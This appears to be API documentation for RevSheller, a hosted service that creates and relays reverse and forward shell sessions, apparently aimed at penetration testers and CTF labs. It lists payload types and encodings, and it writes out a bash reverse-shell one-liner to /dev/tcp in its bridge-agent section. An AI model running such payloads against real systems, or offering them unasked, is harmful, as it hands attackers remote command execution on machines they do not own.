API Documentation

The RevSheller API allows you to create and manage reverse and forward shell sessions programmatically. A Pro Plus subscription is required.

Authentication

All API requests require a Bearer token using your API key:

Authorization: Bearer rsh_your_api_key_here

Generate your API key from the account menu after subscribing to the Pro Plus plan.

Base URL

https://revsheller.com/api

Endpoints

Create Session (Reverse Shell)

Creates a new reverse shell session and returns connection details + pre-generated payloads.

# Request
curl -X POST https://revsheller.com/api/session \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json"

# Response (200 OK)
{
  "session": {
    "id": "abc12345",
    "operatorSecret": "op_a1b2c3d4e5f6...",
    "targetSecret": "tgt_f6e5d4c3b2a1...",
    "operatorConnected": false,
    "targetConnected": false,
    "createdAt": 1710000000000,
    "idleTimeoutMs": 3600000,
    "mode": "reverse"
  },
  "payloads": {
    "bash_curl": "bash -c '...'",
    "python_ws": "python3 -c '...'"
  },
  "operatorUrl": "wss://abc12345.revsheller.com/ws/operator",
  "httpBase": "https://abc12345.revsheller.com",
  "wsBase": "wss://abc12345.revsheller.com",
  "pathPrefix": "",
  "plan": "api",
  "limits": {
    "maxSessions": null,
    "idleTimeoutMs": 3600000
  }
}

Create Session (Forward Shell)

Creates a forward shell session — RevSheller connects outbound to a target host:port and relays it to your operator WebSocket. Pro Plus only. The target must be reachable on a public IP (private/RFC1918 addresses and port 25 are blocked).

# Request
curl -X POST https://revsheller.com/api/session \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" \
  -d '{
    "mode": "forward",
    "targetHost": "203.0.113.5",
    "targetPort": 4444
  }'

# Response (200 OK)
{
  "session": {
    "id": "xyz98765",
    "operatorSecret": "op_a1b2c3d4e5f6...",
    "targetSecret": "tgt_f6e5d4c3b2a1...",
    "operatorConnected": false,
    "targetConnected": false,
    "createdAt": 1710000000000,
    "idleTimeoutMs": 3600000,
    "mode": "forward",
    "targetHost": "203.0.113.5",
    "targetPort": 4444
  },
  "payloads": {},
  "operatorUrl": "wss://xyz98765.revsheller.com/ws/operator",
  ...
}

# Error: wrong plan (403)
{ "error": "Forward shells require a Pro Plus subscription." }

# Error: private IP (400)
{ "error": "Cannot connect to private/reserved addresses. Target must be a public IP or hostname." }

Once created, connect as operator via WebSocket (same as reverse shells). The TCP connection to the target is initiated automatically when the operator WebSocket connects. No payloads are generated since no code runs on the target — RevSheller connects directly.

Get Session Info

Returns the current status of a session. Requires the operator secret.

# Request
curl https://revsheller.com/api/session/abc12345 \
  -H "Authorization: Bearer op_a1b2c3d4e5f6..."

# Response (200 OK)
{
  "id": "abc12345",
  "operatorConnected": true,
  "targetConnected": false,
  "createdAt": 1710000000000,
  "idleTimeoutMs": 3600000
}

# Response (404 — wrong token or non-existent session)
{ "error": "Session not found" }

Delete Session

Tears down a session and releases the session slot. Requires the operator secret.

# Request
curl -X DELETE https://revsheller.com/api/session/abc12345 \
  -H "Authorization: Bearer op_a1b2c3d4e5f6..."

# Response (200 OK)
{ "ok": true }

Generate Payload

Generates a specific payload type for a session. Useful for custom integrations.

# Request
curl -X POST https://revsheller.com/api/payload/generate \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "bash_curl",
    "slug": "abc12345",
    "token": "tgt_f6e5d4c3b2a1...",
    "shell": "/bin/bash",
    "os": "linux",
    "encoding": "base64"
  }'

# Response (200 OK)
{ "payload": "bash -c 'echo YmFza..." }

WebSocket Protocol

After creating a session, connect as the operator via WebSocket to interact with the shell.

Connecting: Use the operatorUrl from the create-session response. Authenticate by passing the operator secret in the Sec-WebSocket-Protocol subprotocol header:

# Using websocat (example)
websocat "wss://abc12345.revsheller.com/ws/operator" \
  --protocol "op_a1b2c3d4e5f6..."

# Using wscat
wscat -c "wss://abc12345.revsheller.com/ws/operator" \
  -s "op_a1b2c3d4e5f6..."

Data format: Regular binary frames are shell I/O (stdin/stdout). Control messages are prefixed with a \x00 null byte followed by a JSON object:

# Control message format (binary frame):
\x00{"type":"resize","cols":120,"rows":40}

# Control message types:
# resize — send terminal dimensions to the target shell
# status — server → client status updates (e.g., target connected/disconnected)
# ping   — keepalive

Resize: When the operator's terminal size changes, send a resize control message so the target shell adapts:

// JavaScript example
const msg = JSON.stringify({ type: "resize", cols: 120, rows: 40 });
ws.send(new Uint8Array([0, ...new TextEncoder().encode(msg)]));

Error Reference

All errors return JSON with an error field. Here are the possible status codes:

Status	Meaning	Example Response
`400`	Bad request — missing or invalid parameters	`{ "error": "Email and password are required" }`
`401`	Unauthorized — invalid API key or credentials	`{ "error": "Invalid API key" }`
`403`	Forbidden — session limit reached or wrong plan	`{ "error": "Session limit reached (1 for free tier)." }`
`404`	Not found — session doesn't exist or wrong token	`{ "error": "Session not found" }`
`409`	Conflict — email already registered	`{ "error": "Email already registered" }`
`429`	Rate limited — too many requests	`{ "error": "Too many requests" }`
`500`	Internal server error	`{ "error": "Internal server error" }`

Available Payload Types

Use the type field in the generate-payload endpoint. The GET /api/payloads endpoint returns the full list with metadata.

HTTP Transport (curl-based) — Linux only. Uses mkfifo + curl for environments without WebSocket support:

Type	Shell	Dependencies
`sh_curl`	sh	curl
`bash_curl`	bash	curl
`bash_norc_curl`	bash --norc	curl
`zsh_curl`	zsh	curl
`python_http`	Python	python3
`perl_http`	Perl	perl
`ruby_http`	Ruby	ruby
`php_http`	PHP	php
`nodejs_http`	Node.js	node

WebSocket Transport — native WS connection for interactive shells:

Type	Language	OS	Dependencies
`python_ws`	Python	Linux	python3, websockets
`python_ws_asyncio`	Python (threaded)	Both	python3, websocket-client
`powershell_ws`	PowerShell	Windows	powershell
`powershell_ws_b64`	PowerShell (Base64)	Windows	powershell
`powershell_ws_tls`	PowerShell (TLS)	Windows	powershell
`php_ws`	PHP	Linux	php
`nodejs_ws`	Node.js	Linux	node
`nodejs_ws_compat`	Node.js (compat)	Linux	node
`ruby_ws`	Ruby	Linux	ruby
`perl_ws`	Perl	Linux	perl
`csharp_ws`	C#	Windows	dotnet
`java_ws`	Java	Both	java
`golang_ws`	Go	Both	go

Encoding options: none, base64, urlencode, hex, powershell_b64 (for -EncodedCommand).

Bridge Agent (VPN Networks)

For targets on isolated networks (HackTheBox, TryHackMe, Offshore labs) that can't reach revsheller.com, the rsh-bridge binary runs on your VPN-connected machine and relays TCP connections to RevSheller via WebSocket. Pro Plus only.

# Architecture:
# Target (VPN) --TCP--> Bridge (your machine) --WSS--> RevSheller (cloud) --> Operator (browser)

# 1. Create a session via API or browser
SESSION_ID="abc12345"
TGT_SECRET="tgt_f6e5d4c3b2a1..."

# 2. Run bridge on your machine (connected to both VPN and internet)
./rsh-bridge \
  --url wss://${SESSION_ID}.revsheller.com/ws/target \
  --token ${TGT_SECRET} \
  --listen 0.0.0.0:4444

# 3. On the target machine (VPN network), connect to your bridge:
bash -i >& /dev/tcp/YOUR_VPN_IP/4444 0>&1

# The bridge forwards the TCP connection to RevSheller as a standard
# WebSocket target connection. Your browser shell works normally.

Download pre-built binaries from the GitHub Releases page, or build from source:

cd bridge && go build -o rsh-bridge .

Rate Limits

API requests are rate-limited to 20 requests per minute per IP address. Auth endpoints have stricter limits (3-5 req/min).

Full Example: Create, Connect, and Clean Up

# 1. Create a session
curl -s -X POST https://revsheller.com/api/session \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" | jq .

# 2. Extract values from response
SESSION_ID="abc12345"
OP_SECRET="op_a1b2c3d4e5f6..."
TGT_SECRET="tgt_f6e5d4c3b2a1..."

# 3. Connect as operator (using websocat)
websocat "wss://${SESSION_ID}.revsheller.com/ws/operator" \
  --protocol "${OP_SECRET}"

# 4. On target machine, run the payload:
#    bash -c 'exec > ... curl ...'
#    (use one of the payloads from the create response)

# 5. Check session status
curl -s https://revsheller.com/api/session/${SESSION_ID} \
  -H "Authorization: Bearer ${OP_SECRET}" | jq .

# 6. Generate a custom payload
curl -s -X POST https://revsheller.com/api/payload/generate \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" \
  -d "{
    \"type\": \"python_ws\",
    \"slug\": \"${SESSION_ID}\",
    \"token\": \"${TGT_SECRET}\",
    \"shell\": \"/bin/bash\",
    \"os\": \"linux\",
    \"encoding\": \"none\"
  }" | jq -r .payload

# 7. Delete session when done
curl -s -X DELETE https://revsheller.com/api/session/${SESSION_ID} \
  -H "Authorization: Bearer ${OP_SECRET}" | jq .